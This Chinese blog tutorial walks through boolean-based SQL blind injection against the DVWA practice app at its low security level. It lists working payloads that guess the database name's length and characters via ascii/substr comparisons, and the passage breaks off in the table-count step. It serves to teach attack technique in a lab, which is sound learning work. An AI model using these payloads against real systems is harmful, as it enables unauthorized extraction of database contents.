基于dvwa的sql盲注(Blind)-低中高

本文详细介绍了如何在DVWA中进行SQL盲注,从低、中、高三个级别逐步讲解。通过布尔盲注和时间盲注技术,包括猜测数据库名、表名、列名及数据,展示了SQL注入的过程和技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

sql盲注和sql注入的区别

		盲注:目标只会回复是或不是,没有详细内容
		注入:可以查看到详细内容
	盲注分为:布尔盲注、时间盲注

sql盲注过程

		1、判断是否存在注入,注入是字符型还是数字型
		2、猜解当前数据库名(猜解数据库长度->猜数据库名称)
		3、猜解数据库中的表名(猜表的数量->猜表的长度->猜表的名称)
		4、猜解表中的列(猜列的数量->猜列的长度->猜列的名称)
		5、猜解数据

dvwa-SQL Injection (Blind) low级别

下面分别用布尔盲注、时间盲注进行注入

布尔盲注

猜数据库长度:
输入1’ and length(database())=1# 显示 MISSING 说明数据库长度不为1
在这里插入图片描述
输入1’ and length(database())=4# 显示 exists 说明数据库长度为4
在这里插入图片描述
猜数据库名:
输入1’ and ascii(substr(database(),1,1))>97# 显示 exists 说明数据库的第一个字母的ASCII值>97
ascii()函数是将字母转换为ASCII值
在这里插入图片描述
附加:放一张substr()函数的解释
在这里插入图片描述
可以用二分法去猜ASCII值

输入1’ and ascii(substr(database(),1,1))>100#显示MISSING说明第一个字母的ASCII不大于100
在这里插入图片描述
输入1’ and ascii(substr(database(),1,1))<100#也显示MISSING说明第一个字母的ASCII也不小于100,那就是等于100
在这里插入图片描述
输入1’ and ascii(substr(database(),1,1))=100#,显示exists,说明第一个字母就是 d
盲注全靠猜,后三个字母可以自己尝试去猜,步骤如上
最后猜到数据库名为dvwa

猜表的数量:
输入1’and (select count(table_name)from information_schema.tables where table_schema&

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值